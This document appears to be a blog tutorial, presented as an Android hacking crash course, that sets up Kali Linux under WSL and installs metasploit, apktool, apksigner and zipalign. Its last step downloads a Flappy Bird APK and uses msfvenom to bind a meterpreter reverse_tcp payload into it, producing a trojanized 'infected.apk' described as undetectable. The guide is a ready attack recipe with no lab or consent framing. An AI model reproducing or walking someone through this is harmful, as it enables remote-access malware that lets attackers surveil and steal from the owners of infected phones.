Hey, so this is going to be a crash course on Android Hacking using a Windows machine, not many people are comfortable in installing Kali Linux as the main os, whereas many of others don't have powerful enough PC to run Kali on VMware or Virtual Box, but running a WSL is really light and requires less resources, so here in this crash course, we will be using that only.
Without further a do , lets get started, I am considering that you have downloaded the Kali Linux WSL from Microsoft Store, and once downloaded, open Command Prompt and run the following command.
wsl --install
Step 1. Updating Kali
Once the bad boy is up, run the following commands
sudo apt update -y
sudo apt upgrade -y
Step 2. Installing Kali Linux
sudo apt install -y metasploit-framework
to verify if metasploit has been installed or not, just write msfvenom --help, if you are getting some output, then it means its installed.
Step 3. Installing dependencies for building undetectable payload
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
chmod +x apktool
Once downloaded the required binaries, run the following commands
sudo mv apktool /usr/local/bin/
sudo mv apktool_2.9.3.jar /usr/local/bin/apktool.jar
Step 4. Installing apktool & apksigner
Paste the following command
which apktool
Copy the path which you will get in output, I got this /usr/local/bin/apktool, so i will be pasting this in bashrc file
export PATH=$PATH:/usr/local/bin/apktool
Open ~/.bashrc file using
nano ~/.bashrc
paste this at top
export PATH=$PATH:/usr/local/bin/apktool
close & save the file using Ctrl + X and press Y .
to verify if apktool has been installed or not, write this command
apktool --version
Now we have apktool installed, next step is to install apksigner, you can easily do it by running the following commands.
sudo apt update
sudo apt-get install apksigner
give execution rights to apksigner binary using
chmod +x /usr/bin/apksigner
check if it is installed successfully by running the following command.
apksigner --version
Step 5: Installing zipalign
Download the binary using wget
wget http://ftp.de.debian.org/debian/pool/main/a/android-platform-build/zipalign_8.1.0+r23-2_amd64.deb
once downloaded, run the following command to install zipalign
dpkg -i zipalign_8.1.0+r23-2_amd64.deb
check if it is installed correctly or not by running
zipalign --version
Step 6. Creating infected payload
I am leaving a flappy bird payload here, you can use any other app as well, just download the apk for that and follow the same procedure as below.
wget https://tech-odyssey.netlify.app/files/app.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5555 -x app.apk -k -o infected.apk
